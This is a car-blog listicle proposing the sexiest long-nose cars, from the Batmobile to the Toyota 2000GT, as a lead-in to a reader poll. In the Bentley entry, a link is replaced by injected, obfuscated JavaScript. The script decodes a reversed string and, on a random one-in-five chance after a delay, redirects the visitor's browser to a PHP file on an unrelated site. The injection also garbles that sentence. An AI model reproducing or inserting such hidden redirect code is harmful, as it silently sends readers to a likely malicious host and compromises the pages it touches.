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We’re preparing a poll, based around a discussion in the crankandpiston office: what’s the sexiest long-nose car ever? That combination of lengthy trunk and short back end is an evocative one, and the notion brought on some serious mulling and Googling. A list follows based on our initial ideas.
But we want to know what we’ve missed. Leave a message for us in the comments section, and in a week or two we’ll pull together a poll to find the foxiest large-conked machines ever made.
Batmobile
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We’re not sure what the most famous movie car is, but this must be right up there. Tim Burton‘s 1989 film Batman (and the follow up, 1992’s Batman Returns) brought the ’60s convertible seen in the original TV show bang up to date. Even Christopher Nolan’s awesome Dark Knight trilogy didn’t produce a better Batmobile than this. Powered by a jet turbine, it’s actually a Chevy Impala underneath.
Picture: Anyett
Bentley 4¼ Litre ‘Embiricos’ Pourtout Coupé
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We spotted this at last year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/windsor-concours-of-elegance-a-very-british-car-show”>Windsor Concours of Elegance, and isn’t it pretty? Built in 1938, the body was an early exercise in aerodynamics and was constructed by French coachbuilder Carrosserie Pourtout. It went on to set plenty of speed records in the UK and Europe.
BMW Z3 M Coupe
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Picture: Funkysuite
Chevrolet Corvette
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There are quite a lot of Corvette models to choose from here. Our favourite though is the C3 and its lunging hood. Mmm.
Picture: Stokpic
Daimler Double Six 50 Corsica Drophead Coupé
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Named after it’s V12 engine (two straight sixes mounted together), this 1931 beauty had its chassis modified to sit as low as possible and stayed in the possession of one family for decades before being restored. The Daimler went on to win concours awards and if you fancy buying it today, you’ll need to add at least six zeros to your chequebook.
Picture: MatthewDBPrice
Datsun 240Z
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More than 40 years after it was first released, the 240Z still turns head with a timeless blend of elegance and sporting appeal. Although it looked absolutely awesome, the prettiness was backed up with performance – it even won a round of the World Rally Championship in 1973.
Picture: daffy-dub
Dodge Viper
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Mixing sports car styling with American muscle, the Viper is the brawniest of the brawny. All that nose space is needed for the V10 powerplant, and the looks give a pretty good idea of what kind of performance you can expect. In yer face. There’s a new one coming very soon indeed, and it doesn’t look to have toned things down.
Picture: Raptor-AM
Ferrari 250 GTO
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The 250 GTO is this writer’s favourite Ferrari. I mean, look at it. It’s the perfect blend of curves and louvred aggression. Made for racing and based on the 250 GT SWB, it dominated its GT class for three years in the mid-60s and today commands astronomical price tags.
Jaguar E-Type
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Does this car really need an introduction? Beloved of film stars, the E-Type was hailed by none other than Enzo Ferrari as “the most beautiful car ever made”. Time – all 50-plus years of it – has not faded its gorgeous lines.
Mercedes-Benz SLS AMG
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The newest car on this list is still one of the best looking. The SLS AMG all aggression and presence, with those gullwing doors harking back to the classic 300SL. We like. Lots.
Toyota 2000GT
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This is the car that made the wider world sit up and take notice of Japan as a producer of seriously desirable cars. Released in 1967, the 2000GT was compared favourably to the Porsche 911 of the time, and today a mint example will set you back several hundred thousand dollars.
Picture: Potarou
Top image: PSParrot
